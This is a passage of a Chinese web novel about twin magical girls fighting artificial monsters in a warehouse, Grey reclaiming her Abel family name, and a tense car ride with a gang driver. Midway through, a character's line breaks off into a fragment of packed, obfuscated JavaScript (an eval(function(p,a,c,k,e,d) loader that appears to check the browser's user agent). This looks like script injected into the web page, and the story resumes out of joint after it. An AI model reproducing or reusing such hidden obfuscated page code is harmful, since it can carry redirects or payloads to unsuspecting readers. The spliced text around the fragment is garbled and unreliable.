于是,犬山山白转过身,注视那倒在地上的,蜷缩着的丑陋人造魔物。那是还未开始膨胀的版本,与人类尚且还有相似的余地,瘦小,没有头发,因曾经的缺氧泛蓝,皮肉迁就着骨骼纹理。它抽动了几下,动的部位主要在于胸膛,也就是心脏,且越来越明显,它要长大了。 或许它很快就会学会爬,以及行走,森山寺未央见过它蹒跚学步的模样,也记得它跨过“三条腿”阶段迈向死亡的巨大爆炸。 “无论看几次都很恶心。”森山寺未央避开了视线,她还记得在市区第一次见到这种魔物的时候,那时她产生了生理性的呕吐欲。 森山寺未雅也觉得这太猎奇了,她匆匆看了一眼就移开了视线。 但犬山山白不以为意,她上前,庞大的身躯瞬间矮了下来,巨人伏地,她蹲下凑近那刚刚与空气产生接触的人造魔物,用双眼确认对方的形象,又抽动鼻子去闻它身上的气息,甚至把耳朵贴到那潮湿粘着的躯体上去听些什么。 最后,她抬起右手,斜着取出了背上双刀中之前没用过的一把,下挥,银色在火光中一闪,那是一把真正开了刃的刀。 犬山山白毫不犹豫地砍断了那人造魔物的脖子,头部滚落,狭窄的血管黏腻地挤出些许发黑的血,但终究还是有些许血液溢出,她用右手沾着那深色的血,舔了一口。 “…你在干什么?”森山寺未央不可置信地看着她的动作。 “可以了。”犬山山白右手一震,血液被甩进火中,“谢谢你们,接下来我要离开这里了。” “不是,你为什么要?”森山寺未央一时语塞,不知道该怎么描述对方之前的行为。 “只是觉得,我最近不在状态,这样吧。”犬山山白没解释多少,她收回刀也收回了自己的表情,她的笑容一如既往露出牙齿,“感谢你们的帮助,抱歉之前攻击你们的行为,希望你们不要提及我出现在这里过。那么,有缘再见吧!” 森山寺未央没能阻止对方的离开,那魔物在脑袋被砍下来后缓缓开始消散,森山寺未雅拉着她离开了黑色物质存在的范围,很快,魔物消失,只留下了一地液体作为存在的痕迹。 “她为什么要这样做?”森山寺未央不理解,只能去问森山寺未雅,即使她知道自己的姐姐向来是不会给她一个准确的答案的。 “你想理解她?”森山寺未雅问道。 “你不想理解她行为的逻辑吗?”森山寺未央觉得这太奇怪了,“那是人造魔物,我们不应该去了解她为什么要那样对一个人造魔物吗?而且她还算是相关者。” “…未央,她与我们有着非常大的区别,我们与她的这次相见或许就是最后一次,你为什么想理解她?”森山寺未雅问道。 “我只是,”森山寺未央一时语塞,“算了,这件事也没那么重要,我好奇而已。” 森山寺未雅看着她的妹妹,她能够理解她的妹妹,无论是那些好奇,困惑,亦或者其它的什么东西,她甚至比森山寺未央本人更加了解她心里在想什么。 可有些事情并非是她能一直告诉另一个人的,即使这个人是她的双胞胎妹妹。 二人在结界中找到魔法为火焰的主教棋子,将其变形后激活,并带到了仓库之中。主教手捧厚重的书,在地面上方半米处固定之后就随着二人的命令开始对着那些器皿内部的人造魔物使用燃烧魔法,空间内温度升高,二人离开了燃烧物的中心,前往仓库入口。 刚在工厂门口站定,二人就听见了不远处有争吵的声音。 【先在这里听听看。】森山寺未雅说。 【她被发现了?】森山寺未央觉得犬山山白太张扬了。 【她可没法这样和别人吵架。】森山寺未雅说着,躲在仓库门口附近的死角向外看。 “你在想什么?”一个男性的声音在质问,语气里带着愤慨和不解,“你站在这里,又不行动,你还记得你的身份吗?” “…关我什么事?”另一人嗤笑一声,那是格雷伊的声音,二人不可置信地确认道。 “听着,我没空在这里和你争吵,之前的事情我可以道歉,但你现在必须开始行动,格雷伊。”男性焦急地说,“你是唯一可以这样做的人,老板和教练都是因此而把这个任务交给你的,你理解这个意思吗?” “哦。”格雷伊的声音没有起伏,“关我什么事?” “你愿意站在这里不就是代表你接取了任务吗?!如果说你什么都不打算做那你站在这里是想干什么?等死吗?教练不是你的老师吗?你怎么能摆出这样一副面孔?”男性气急。 “我去哪里都可以,但是,这些关我什么事?”格雷伊再次笑了,她与之前那个有些懦弱的青年简直是判若两人,似乎什么都不在乎一般。 【那是格雷伊?】森山寺未央惊讶道,【博蒙的死亡让她开始自暴自弃了吗?】 【有可能。】森山寺未雅说,【另一个人,看那个左半身,八成就是拉德了。】 男性的左半身被披风盖住,但他此时神情激动,不经意间就露出了一抹银白色的锐光。 【格雷伊不配合行动的话,那对我们来说是好事诶。】森山寺未央说。 【确实,但恐怕不会这么简单。】森山寺未雅说。 “…她们看错你了,我也看错你了,你完全不觉得自己是我们之中的一员,是这样吧。”拉德的声音带着冷意,“你不在乎我们的目标,也不在乎大人所说的话,也不在乎教练的教导。” 格雷伊沉默了一会,她依旧戴着那一身明黄色的斗篷,将面部隐藏在兜帽中。 “你比我们资历更深,我原以为你有更深的觉悟,这是我的疏忽。”拉德深呼吸,表情已恢复平静,“之后我会向几位谢罪的,但任务必须完成。” “…哦。”格雷伊说。 【他果然还有办法!】森山寺未央紧张了起来。 【他要干什么?要叫增援吗?】森山寺未雅也紧张了起来。 拉德拿出了手机,发送了一些信息,但随后他就朝仓库走来,也意识到了其中不同寻常的热量和那些地上的尸体。 “…来不及了。”他的面色瞬间苍白如纸,“任务出现了变故,是她们动手了。” “哦,是她们。”格雷伊说着,声音有了些起伏,是幸灾乐祸,“任务要失败了。” 拉德没有说话,他原地站定,火焰的温度没有干扰他的思考,很快,他再次动了起来。 “还来得及,还有部分完整的。”拉德说着,却并没有松口气,“来不及等待增援了,格雷伊,你若是不动手,我会将你的行为视作背叛。” “那就这样做吧,这些对我而言都没有意义了。”格雷伊看着火焰,目不转睛。 “我不会让任务失败。”拉德说着,下定了决心一般掀开自己左手的斗篷。 【他要做什么?棋子被毁坏我们就得自己施法了,但那倒不是大问题。】森山寺未央因为无法判断现状而感到焦虑。 【他在想办法激活那些人造魔物。】森山寺未雅意识到了什么,【快扩大防御屏障,那些人造魔物要被激活了。】 【解决他更快吧?】森山寺未央看着拉德的身影。 【一起,我去扩大屏障,你去干扰他。】森山寺未雅说着,迅速动身。 森山寺未央也迅速从角落里冲出手杖抬起,她直接召唤出了自爆士兵。 “自爆吧,士兵!”森山寺未央指挥士兵冲向拉德。 格雷伊看到森山寺未央之后愣了愣,但也没有多余的动作和言语。 “再次激活我的心脏,肝与肺。”拉德没有被干扰到,或者说他根本没有注意到森山寺未央的出现。随着话音落下,他还没好全的伤口瞬间崩裂开来,血液翻涌着挣脱他的身体,那金属翅膀长到最大,如被枪杀的鸟一般羽毛直立,纷纷染上血色。 自爆士兵抱住了拉德,身体上出现几道光刻的裂纹,随后光越来越强,整个士兵都变成了发光体,拉德不动,任由自己被抱住,血液从他的胸口越来越多地翻涌而出,远超5升。 “…来不及了。”格雷伊说。 士兵与拉德一起焚烧殆尽,但那血液的自由奔跑森山寺未央无从阻止,只能眼睁睁地看着它们如狂风吹起的柳絮般飞向仓库内部。 那些罐头器皿忽然全都一齐开始颤抖了起来,被燃烧殆尽的在几次挣扎之后恢复平静,但剩下的那些在愈发剧烈的颤抖之后裂开一条缝,胎儿从内部主动破茧而出。 森山寺未央见过一次的孵化过程再次上演,但这次数量更加庞大,更密集,更无序,四十九个人造魔物从地上爬起,火焰该刺痛,但痛苦提醒它们呼吸的时间到了。 这个让森山寺未央手指开始颤抖,她想起之前犬山山白的作为和言语,想起这些人造魔物本身都是一个个活生生的人,她的心脏也一齐在火焰中燃烧了起来。 这里就是地狱吧,森山寺未央心想。 【未央!】森山寺未雅赶回森山寺未央身边。 “未雅,”森山寺未央看向自己的姐姐,说话声音颤抖,“我,我们必须杀死这些魔物。” 即使这些魔物曾经是人类,即使拉德死亡的场面还历历在目,即使恶心,但森山寺未央看向自己的姐姐,那是与她一模一样的一张脸,可只要看着,她就能获得无尽的勇气。 “是的,未央。”森山寺未雅没有回避,“我们不能放走哪怕一只。” 于是森山寺未央深呼吸,她恢复了平静。 “火焰虽然会让它们兴奋,但也确实在造成伤害,不过面对大数量的可移动目标主教的效率太低下了,必须换一个战术。”森山寺未央迅速开始分析战况。 “而且受到一定程度上的攻击后还会自爆,真是恶心。”森山寺未雅也迅速进行判断。 “车,使用落雷魔法,然后加大魔力输出以扩大攻击面积,并召唤基础耐力士兵以防止魔物逃脱。”森山寺未央迅速有了决断,“这样一看也没有很难嘛!” “拉德呼叫了增援。”森山寺未雅看了一眼格雷伊,“在增援抵达之前尽可能达成目标。” 二人决定后就开始行动,格雷伊看着那群张牙舞爪的魔物,没有动作。 “你,你要干什么?”森山寺未央紧张地问格雷伊。 “…我不知道。”格雷伊看着森山寺未央,“我没有想做的东西,没有想要的东西了。” “什么意思?那你来这里干什么?”森山寺未央不解,看向森山寺未雅。 “她不会管我们的,走吧。”森山寺未雅没有解释太多。 二人迅速开始行动,那些人造魔物有扭曲着肢体的往窗户爬去,但更多的正在跑向仓库唯一的出口,森山寺未央抬起手仗,黑影翻飞,化为一台有普通轿车大的天文望远镜,这是设定为车的棋子,此时它驻足于地面上,森山寺未央聚集魔力于其中,那镜头也开始移动。 “轰——”一道横穿仓库的巨大雷电以那望远镜的镜头为起点轰出,击飞了路径上的所有人造魔物,几个正中靶心的顷刻间化为了焦炭。 森山寺未雅跳上天花板,召唤两枚耐力型棋子,手持巨盾的骑士在她的指挥下击落那些试图爬出窗户或出口的人造魔物。 车的攻击需要蓄力一段时间,森山寺未央有些焦急,她本身的战斗能力仅能用于自保,也就是能够避开那些魔物的攻击,反击能力有限且魔力量需要顾虑。 魔力储蓄是二人的短处,使用魔力必须注意消耗,但若是情况就这样下去的话一切都还可以被控制住,森山寺未央确认这一点,心下稍松。 恍惚之间,有什么奇异的魔法降临在了区域中,影响了正片仓库区域的状态。 【…你感受到了吗?】森山寺未雅问道。 【是增援!?这么快啊!】森山寺未央大惊。 忽然,仓库内天光大亮,并非是落雷魔法的效果,而是那仓库的屋顶破开了一个巨大的洞。 “拉德,回归。”电子音无情宣告死亡,“格雷伊,背叛。”以及选择。 森山寺姐妹二人迅速锁定了那立于屋顶上的一个身影,森山寺未央记得这个形象。 稳定于狂风中的姿态太过于熟悉,以及那黑色的金属口罩也和当初看到的那一副一模一样。 “西弗尔特,接管任务。”电子音替她宣言,“行动开始。” 白光从她手中冒出,那是攻击的前兆。 【她会使用定轨道攻击魔法,但现在不一定了,注意她身上发光的地方。】森山寺未央提醒道,【我继续清除魔物。】 【好。】森山寺未雅点头,与西弗尔特对上了眼神,发现那是一双洋溢着兴奋与恨意的眼睛,她很快意识到了什么。 西弗尔特左手抬起,有白光从她的掌心亮起,直线射向森山寺未雅带着巨大的光和热,森山寺未雅预料到这一点,侧身避开,但那光线没有消失,而是持续追踪目标的身影,并摧毁经过的一切。 【她的攻击行为改变了,这算什么,激光?!】森山寺未央意识到了这一点。 【八九不离十。】森山寺未雅朝着一个方向跑动,【她的激光移动速度有限,持续时间也一定是有限的!】 就像她所说的那样,大约五秒后,那激光消失在了西弗尔特的手心。森山寺未雅思考片刻,召唤出力量型士兵冲向西弗尔特,同时为自己附加迅捷魔法以预防下一次攻击。 “目标更替。”电子音传出后森山寺未央有了不好的预感,她抬头,与西弗尔特正好对上视线。她抬头看向还在蓄力的望远镜和仓库出口,咬咬牙往仓库出口冲去。 白光刺出,森山寺未央看着那白色激光离自己越来越近,迅速化影冲向角落里,现在工厂内影子的存在少的可怜。 但那白光的目标本就不是森山寺未央,那热度划过地面,车棋子本就不算良好的身体瞬间大受打击,出现了一道巨大的裂痕,消散了。 【阻止魔物才是正经事,我们也呼叫增援!】森山寺未雅看向森山寺未央,【我拖住她,你快去打电话!】 【好!】森山寺未央咬咬牙,在角落里摸出手机开始拨号,但无论试了几次都打不通,因为没有信号,但手机上显示的信号是存在的,同时使用卫星信号也行不通。 “无用的行为。”电子音无情绪的音调表达了嘲讽的意思。 “什么?”森山寺未雅不明白发生了什么。 “…状态固定,是状态固定魔法!”森山寺未央迅速找到了关键点,【她使用状态固定魔法控制了这块区域的信号状态,我们没办法打电话!】 【…这算什么啊。】森山寺未雅因为魔法的效果大为不解。 “无能,无用,无意义!”电子音说着,西弗尔特笑得很得意。 “为什么是电子音啊你以为你是电子歌姬吗?”森山寺未雅指挥两枚力量型骑士左右一齐冲向西弗尔特,长剑在火焰中熠熠生辉。 “因为你们不配!”电子音不友善回答,西弗尔特抬手,使用短时间的多次激光击退骑士。 【她不擅长近身攻击,但擅长保持距离,我们不能拖,那些东西在往外跑了。】森山寺未央因为焦急而陷入了混乱的思绪中,“怎么办,怎么办,现在合成高达还来得及吗?” “你一心两用可真是天赋异禀啊。”森山寺未雅也明白这一点,她焦急地寻找一个能限制住那些魔物的办法,就像是拉德所做的那样。 等等,拉德?森山寺未雅看向了一动不动的格雷伊。 【你来拖着她!】森山寺未雅当机立断,下定了决心。 【你要做什么?】森山寺未央不解,但也相信自己姐姐的判断。 【…尝试使用经典套路。】森山寺未雅说,【不一定有用,没用的话我们就想其它办法。】 所谓的其它办法就是召唤王和后,这无疑会耗尽二人的魔力消耗,无力应对西弗尔特那愈发疯狂的攻击。 【我相信!】森山寺未央说,【我不理解,但是我相信,爱和奇迹一定是存在的!】 【你也给我思考一下啊!】森山寺未雅怒斥对方懒惰。 森山寺未雅跳下地面,落在了格雷伊的身前,看着对方毫无波动的脸,对自己即将要说的事情其实也没什么底气,因为有些东西不一定还存在着,比如爱,比如奇迹。 “…我不会帮忙的,这件事对我而言毫无意义。”格雷伊没有看森山寺未雅。 “那天,你看着博蒙被宣判死刑,说了那句话,我还记得。”森山寺未雅说,“你就是她唯一的家属,你没有获准前去探望。” “我知道你想说什么,我也算个成年人,事到如今也该看清那些东西了。”格雷伊的声音毫无波动,“我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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对着森山寺未雅,格雷伊能够说出她的母亲死而复生之后的丑态,因为那最丑陋的面目一定已经被眼前之人目睹过了。 “她也骂我是叛徒!她也骂我没用废物!她也骂我是胆小鬼!”格雷伊吸气时声音尖锐得近乎像在泣血,她的声带颤抖着,“她怎么可以那样对我,我一直在等她的,那些东西我一直留着的,甚至父亲也是——” 森山寺未雅确认,格雷伊并不是她自己所说的那样,一切都对她而言毫无意义了。这与她之前的症状相似又不同,格雷伊的心脏被挖空了一块,但这件事发生在很久很久以前。她一直想办法去找补,因为她知道那可以填上心脏空缺的存在一直存在于某处。 但博蒙死去了,这个可能性消失了,格雷伊的心脏永远缺少了一部分。 “我能理解你,格雷伊。”森山寺未雅说。 “你怎么可能理解我!?”格雷伊怒吼道,“我知道你,你有父母,有姐妹,甚至还有那些与你相似的朋友,你怎么可能理解我?!你怎么敢这样说!?” 怒吼让她气喘吁吁,些许时间过后,她冷静了一些。 “我知道你想让我做什么,但我不会帮你们。”格雷伊冷漠地说,“因为这些对我而言毫无意义,那个魔法也是,从来都没用,我不需要任何东西了。” “你很了解博蒙,所说的那些都对,她说她恨你,想你去死,想和你撇清关系,说若是你为她的死而痛苦,那么她会开心。就是你现在这样,她想看的的就是这样的你吧。”森山寺未雅说。 “…哈哈。”格雷伊身体一颤,笑了笑。 “但是,她想见你,格雷伊。”森山寺未雅看着格雷伊的脸说,“你痛苦的样子,不堪的样子,不被她满意的样子,都是你,她想见你,在最后的时候。” 【…你是怎么理解出这种事情来的?】森山寺未央大惊。 因为我曾经也是这样的,森山寺未雅心想,没有说话。 “…她怎么可能想见我呢?”格雷伊反问,眼睛却落下泪来,“她不会想见我的,她见到我会发疯,会感到痛苦,会恨得要死。” “你自己也说了,她本来就那样。”森山寺未雅说,“她不可能不在意你的,也不可能觉得你的存在没有意义,她知道自己即将走向死亡,但听到你的名字,她还是想见你。” 这就是森山寺未雅从那份记录中看到的东西,博蒙听见格雷伊的名字就发了疯一般地宣泄自己的感情。森山寺未央写道,她那时没有在哭,但是却看上去痛苦得快要死去了。 “格雷伊,你要相信,她想见你。”森山寺未雅说,“这样的话你内心缺少的那一块才有补上的机会,你必须相信她,相信她的痛苦是因你而起的,也会因为你而结束。” 所以森山寺未雅才能理解格雷伊的痛苦。 “我为什么要相信她?”格雷伊这样说,却是笑了,因为她真的一直在相信博蒙,这份相信因为博蒙的死而褪去颜色,又因遗言而有了复燃的可能。 “因为她是博蒙-阿贝尔,是阿贝尔家族在这片土地最后的纯血继承人,是哪怕冒着失去生命也要与自己年幼的孩子告别去接受换血手术尝试履行家族夙愿的疯子。”森山寺未雅说,“这样的疯子在死前,念叨你的名字的次数远超过念叨那句莫名其妙的口号或家族名,你要相信疯子的的言辞是发自真心的,格雷伊。” 格雷伊看着森山寺未雅,耳膜轰鸣,她意识到,那是她的心脏在跳动。 “她死了。”格雷伊说,“她死去了,像个普通人一样被判了死刑,真是不像样。” 只有她能这样说,只有她有资格这样说。权利与责任是互相绑架的关系,拿起一边就会被动捆绑上另一边,格雷伊拿起了批判阿贝尔家族中一位族人生平的权利,就有责任去履行家族成员需要尽到的义务。 “你说得对,意义是存在的。”格雷伊丢开了那身明黄色的斗篷,走向了仓库。 “胆小鬼格雷伊,你要做什么?”电子音疑惑,西弗尔特发现自己的歼灭范围里走进来一个熟人,“清剿叛乱者是后续事项。” “我从未正视过自己作为阿贝尔家族后裔的身份,因为这个身份象征的东西太多了,仇恨也好义务也好命运也好,我没有力量,也没有勇气去抗争,于是就甘愿作为格雷伊活下去。”格雷伊的声音不算响,但谁都听得见。 “我的名字是艾洛蒂-阿贝尔,意味无法被夺走的力量,我曾经害怕这个名字背后暗藏的使命,害怕她的眼睛。”艾洛蒂偏头去看与西弗尔特战斗的森山寺未央,“我曾有双亲与一位姐姐,但她们均已丧命,现在,我作为最后的族人,履行一次阿贝尔的义务。” 有鲜红色的血线从她的指尖溢出,滴落在地面,没有化开,而是如游蛇般涌动着冲向那些嘶吼着向外跑去的人造魔物,每一根血线在连上目标的一刻都会绷直,刹那间,所有人造魔物停止了动作,空间内结成了一张巨大的蛛网。 这是她的特征魔法,血缘共享,每一个链接上血线的存在都共享阿贝尔家族的血,从而产生强行的血缘联系。在族谱的最上方,阿贝尔家族的余晖一闪而过。 “Per Vulnerum, Sanatio,是这样没错吧。”艾洛蒂微微抬起双手,蛛网变得紧密相连,“现在,我要将血湖的造物带回血湖之中了。” “格雷伊!”西弗尔特呼喊着格雷伊的名字跳下了屋顶,这次不是电子音,隔着口罩有些发闷,“你疯了吧?事到如今开始摆架子,早干什么去了?” 艾洛蒂没有说话,那些人造魔物开始挣扎,她需要集中精力。 西弗尔特抬手,但激光被挡下了,那是一只无头蛇尾的魔物,双手各持一把长刀,护在艾洛蒂的身前,无言与西弗尔特相对。 这个保护行为森山寺未央忽然就理解了那是谁,而相对应的,也理解了之前犬山山白的行为又是为了什么。 “…我绝不可能让任务再次失败,让大人再次对我失望透顶。”西弗尔特的声音冷静了下来,似乎是下定决心,她眼中的恨意冷却,将双手交叉覆盖于头顶之上,手心朝向格雷伊所在的位置。 “那是巨大光炮!”森山寺未央认得这个动作,“快避开!” “…没有必要,我的家人在等我。”艾洛蒂笑着说,“谢谢你们。” 直径约十米宽的光束近乎覆盖了整个仓库,宛若被置身天光,一切都被淹没在巨大的光与热中,可那些魔物身上的血缘共享魔法一直存在,直到它们全都被带回血湖之中,最后,身影消失,连黑烟都没留下。 空空如也的仓库中,只剩下西弗尔特躺在那里,嘴里喃喃自语着什么,很快,她的身影也消失了。 状态持续魔法失去效果,一切都结束了,二人坐在废墟中,一时都站不起来。 “我认为,那个魔物就是她的父亲,曾经大概是和犬山山白差不多的存在。”森山寺未央说着自己的想法,“后来异化,被她用魔法留在了身边。” “对的,你理解了。”森山寺未雅点头。 “而犬山山白那样做,可能是为了记住什么,也可能是因为想要亲手杀死那个人而已,我还是不清楚。”森山寺未央又说。 “可能是这样吧,我不知道。”森山寺未雅说。 “如果有一天,你死去了,那我会想办法留住你,你也是的。”森山寺未央说着,声音却不似之前那样充满决意和自信,反而是犹豫的。 “没错,然后我们都会活得很烂。”森山寺未雅说着,看向了自己的妹妹,“未央,我很庆幸我们不需要真的用事实来确认我们活得能有多烂。” “我们,不能一起想办法让那一天不要到来,永远不需要去确认这件事吗?”森山寺未央求助般地看向自己的姐姐,但这并不是一个问题,而是一个请求。 “未央,你必须考虑怎么自己一个人活下去,我也是。”森山寺未雅拒绝了这个请求。 于是森山寺未央开始流泪,她想象到自己在某天也遇到了相似的情况,抬起头却看不到自己姐姐的脸来获得勇气,就害怕到不知道怎么办,泪流不止。 森山寺未雅是同样的,她理解森山寺未央的那份恐惧,于是她也留下了眼泪。 “要怎么样才能一个人活下去呢?要怎么样才能一个人也能获得勇气呢?”森山寺未央哭着问道。 她们这对姐妹似乎总是在对彼此发问,在这一点上她们相似,总找不到自己的答案。 “我不知道,但是相信我吧,就像我相信你一样,未央。”森山寺未雅抱住了自己哭泣的妹妹,“相信我会在这里,会永远爱你,我也会相信你的。” 信任能够诞生勇气,哪怕是一厢情愿的,哪怕是得不到答案的。森山寺未央几次亲身经历却与真相擦肩而过,但现在,她能够抬起手,去拥抱自己的姐姐。 她不会再失去她的勇气了。 78.INMATE-015 有乐羽生在缺了车前灯的黑色轿车副驾驶上坐着,感到忐忑不安。 原因有多个,魔法的效果还存在,有乐千奈对自己说的话作何感想,后续又会如何对她,现在她又准备做什么?一想到这一连串问题的的后续问题有乐羽生就恨不得抢过方向盘直接开车一头扎进东流湾里,反正那个里面人应该挺多的吧? 车辆忽然一个急转弯,避开了莫名其妙冲向她们的无人汽车,说是其主人离开前忘了拉手刹也是合理的,但有乐羽生知道这大概率是有乐千实使用的魔法在起作用。 “安全带系好,抓好把手。”驾驶座上的司机冷静地吩咐道,“我不怎么开这种轻飘飘的车,你自己注意着点吧。” “…是的,请不用担心我。”有乐羽生从窗边移开自己的脸,抬手抓住了车顶把手。 司机没有回应,她熟练地挂档并把胳膊搭在副驾驶座位边上眯起眼睛回头确认后方情况,并在维持这个动作的情况下单手转起方向盘,车辆在原地画了个圈,轮胎与摩擦力共鸣,随后在那一脚踩在油门上之后冲向远方。 在这个情况下,有乐羽生非常难以忽视这位司机胸口处的大面积纹身,那西装布料从肩膀开衩一路到肚脐眼,描绘着各式各样教堂穹顶的黑色花纹就这样在她的余光中晃动着。 虽然这样说不太好,但有乐羽生在想她应该在之前把自己现在的想法与那个惊天大消息一起打包放送的。毕竟这样开车实在是帅气又实用。 与此同时,这样的纹身也说明了对方的身份,而将对方的身份放在有乐千奈之前与其交谈的态度的一旁作为对比的话,有乐羽生就没办法继续思考之前的事情了。 “那个,阿姨,您好。”有乐羽生也不知道该怎么称呼这位与母亲交好的人士,小心翼翼地在对方开车的情况下打扰道。 “顾问可不见得乐意看到你这样称呼我,不过这是你们的家务事。”司机目不斜视,只隔着眼镜用余光观察了一眼副驾驶上的高中生,“什么事?” 有乐羽生的内心即紧张又混乱,但现在却是是唯一的,可以问这个问题的机会。 “你们是来这里做什么的?”有乐羽生急迫地问,“母亲她,她之后会怎么做?” 有乐羽生实在是太在意“她的母亲在这一整件事中处于什么位置”这一问题的答案了,是与启明星相似的与幕后之事相关的知情人士?还是说只是单纯地将整件事看作为牟利的棋盘,并参与其中以趁乱取走一些什么的淘金者? 而她又对于“魔法”相关的一切知道多少。 “看有乐千实那个样子,你大概也并非是什么都不知道了。”司机目不斜视,“我能说的只有一件事,那就是顾问她是一个以利益为目标的人,一直都是。” 这件事有乐羽生当然知道,她想知道的不仅仅是这样一个定论。 “我是想说——”有乐羽生想解释些什么,车辆忽然急刹车,前方街边防护栏倒塌,路障滚落到地面上四散开来,一片狼籍。 司机犹豫了两秒,踩下了油门,轿车碾压过那些路障,如浪头上的船只。 “希望顾问的车质量好些。”司机说。 有乐羽生意识到这辆车属于有乐千奈,而这位司机在说话时也有自己的考量。 “…母亲她知道那些事吗?”在颠簸中,有乐羽生只是这样问道。 “知道的人该死的都死了,如果她知道,动手的人可能就是我。”司机的语气没有波动,“我的名字是仁夜心独。” 说到这个姓氏,有乐羽生就明白了对方是白夜社的一员,也受控于Evo控制的那些天使们手中的力量。但好在她话语间透露出有乐千奈并没有涉险参与其中,这是好事。 但随即,有乐羽生就意识到自己的所作所为正是将自己的母亲推入危险之中的那只手。 “…我得回去。”有乐羽生意识到这一点,“让我下车,然后把电话借给我。” 她必须保护自己的母亲,意识到这一点的有乐羽生开始后悔自己之前的做法。有乐千奈那样排斥有乐千实或许就是因为她知道些什么,但因为危险而不选择参与其中。她需要返回之前的地方,并打电话告诉自己的朋友。 “那样的话顾问会杀了我的。”仁夜心独冷笑一声,“你担心她?” “有乐千实是个疯子!她,她的那些机器人不可能只有两个。”有乐羽生焦急地说,“只是因为遇到我的时候她没什么准备而已,她是来制造混乱的!” 而看她那副态度,有乐羽生不相信对方会因为曾经的一些情分就刻意绕开她的姐姐。 “你知道的吧?!”有乐羽生看向仁夜心独,“母亲她会死的!她的职位对你们来说不也是很重要的吗?这件事起因在我,让我回去!” 仁夜心独没有说话,她甚至没有看有乐羽生,那阴冷的视线注视着挡风玻璃外混乱的一切,对车内的填充物毫无兴趣。 有乐羽生想起了启明星说的话,心中有了决意,准备拿出魔剑威胁眼前这个人。 “我说了,这是你们的家务事。”仁夜心独开口了,语气冷静。 “是!这是我的问题!”有乐羽生忍无可忍地承认了自己的懊悔,她因为急迫而流出了眼泪,“你需要什么?什么都可以!她能给你的我都可以想办法。现在,放我下去然后把手机借给我!” 她的情绪还是无法干扰司机控制方向盘,仁夜心独甚至没有眨眼。 “顾问以利益为目标,考量一切,你也在其中。”仁夜心独说道,“你也是她筹码中的一部分,为其分量添砖加瓦。” “你想说什么?”有乐羽生知道这一点,心里却还是一痛。 仁夜心独斜眼看向窗外,急刹车加上方向盘连转,甩尾丢开了身后的人群和街道。 “我想说,这是她毕生的事业,你无法干涉。”仁夜心独冷静地说,“这辆车太轻了。” “我可以。”有乐羽生说,“她是普通人,我们不是,你知道的。” 这句话说完,仁夜心独又笑了,肺部呼出的气息配合声带震颤,是嗤笑。 是了,有乐羽生明白了过来,对于眼前这个人来说顾问的死亡又如何呢?顾问死去之后会有新的顾问上任,对她来说,自身的存活才是最重要的。那些家务事,有乐千实的疯狂,有乐千奈的贪婪,还有她,有乐羽生的懊悔,都与眼前这个外人无关。 有乐羽生下定了决心,她抽出了长剑。 但下一个瞬间,有什么东西在她身上消失了,那个东西存在的时候没有重到可以被发现,可消失的那一瞬间,解脱感却让有乐羽生如释负重。 是有乐千实的魔法失效了,有乐羽生意识到这一点,但很快就质疑其真实性。 魔法被使用后,除非使用者魔力耗尽死亡,或魔法达到目的,其余情况下无法中断。那就是说既然有乐千实说了让有乐羽生去死,那么接下来有乐羽生和有乐千实就只能活下来一个了,或许她可以苟延残喘一段时间,但绝不可能是一辈子。 但是现在,有乐羽生活着,魔法失效,那就意味着有乐千实死去了,这怎么可能呢? 有乐羽生呆呆地愣在副驾驶上,被车窗撞到脑袋也没反应过来。 “把利器收好。”仁夜心独吩咐道。 “哦哦好的。”有乐羽生收回了长剑,又看向仁夜心独,她想说什么,但又不知道该说什么。她庆幸,疑惑,但又混乱着不知道从哪里开始整理语言。 车外并没有因为魔法失效就平静下来,但车内安静得如同真空区域。 “那个,仁夜阿姨。”有乐羽生微笑着说,“能让我下车吗?我觉得我现在不需要去庇护所了。” “顾问会杀了我的。”仁夜心独冷笑一声。 森山寺姐妹慢吞吞地往南流港工厂园区外走,准备去街道上巡视一下安全情况。但在园区入口大门处,二人听见了有谁在吵架的声音。 二人对视一眼,找了个角落躲起来观察。 大门外,一个特征太过于突出而无法被认错的存在站在那里,那是犬山山白,她那宛如巨人般的身姿站在大门前时犹如游戏里守护大门的敌方怪物。而站在她身前的那位可能是挑战者的人是一位身高非常普通的青年,二人无法从这个距离看到她的面部特征,只能看到对方身上略显华丽的西装,尤其是与犬山山白那被烟尘燎过的发黑白衬衫相比,更是精致。 【那是谁?】森山寺未央看不清那个人,【看上去就是普通人啊,是□□吗?】 【听听看吧,有可能。】森山寺未雅好奇地说。 “都说了,这只是我的个人行为。”犬山山白无奈地说,“而且我不是也有像你说的那样,把目击者都解决掉吗?就当作无事发生不好吗?” 身着华丽西装的青年不说话,抱臂看着对方。 “…好啦,我道歉,对不起,没提前和你说。”犬山山白低头,但很快又抬头,“而且证据一点没留下,真的,全没了。” 【哦哦,她果然是擅自行动的!】森山寺未央幸灾乐祸地笑了。 【那么,那边的那位大概就是犬山家族的二把手了吧。】森山寺未雅思索着说,【家主还得和二把手道歉,有了实力但是权利没跟上吗?】 “你是以什么身份和我道歉的?”青年的声音没有带着多少情绪,问问题时结尾语调上升。 “当然是犬山家族家主,犬山山白!”犬山山白爽朗地笑着说,“放心吧!我在这个位置上待了这么久,早就知道身份的重要性,不会忘记了。” “你是家主,那你就更不可能有‘个人行为’,你知道吗?”青年声音温和,但可能是风有些大,偷听的二人体感有些凉飕飕的,“你的行动就是家族的行动,你的选择就是家族的选择,身份与责任捆绑,你记住这些了吗?没有吧,毕竟你还说得出这种话来。” 【…那个二把手,是不是在训斥她的家主啊?】森山寺未央一惊。 【是吧,哇好恐怖。】森山寺未雅肩膀缩了缩。 “那你又是以什么身份来指责我的呢?”犬山山白也没有一直道歉,她低头看向那还没到她肩膀高的青年,洪亮的声音发冷,如同金属,“二把手?我不是那些泄密者,你没必要一直抓着我的一次不告而别不放吧。” 空气一时寂静。 “…也是。”青年换了个姿势,“那就作为你的妹妹犬山汐,我担心你的安危。这样如何?” 犬山山白一时没有说什么,风吹起她的头发,有些发丝别在了她背后的两把武器上。 【这有可能吗?】森山寺未央认真地分析这个可能性,【那个二把手不是一直都是二把手吗?但犬山山白是三年前上任的吧,而且她还是受试者。】 【硬要说的话,可能性还是存在的。】森山寺未雅有些想叹气。 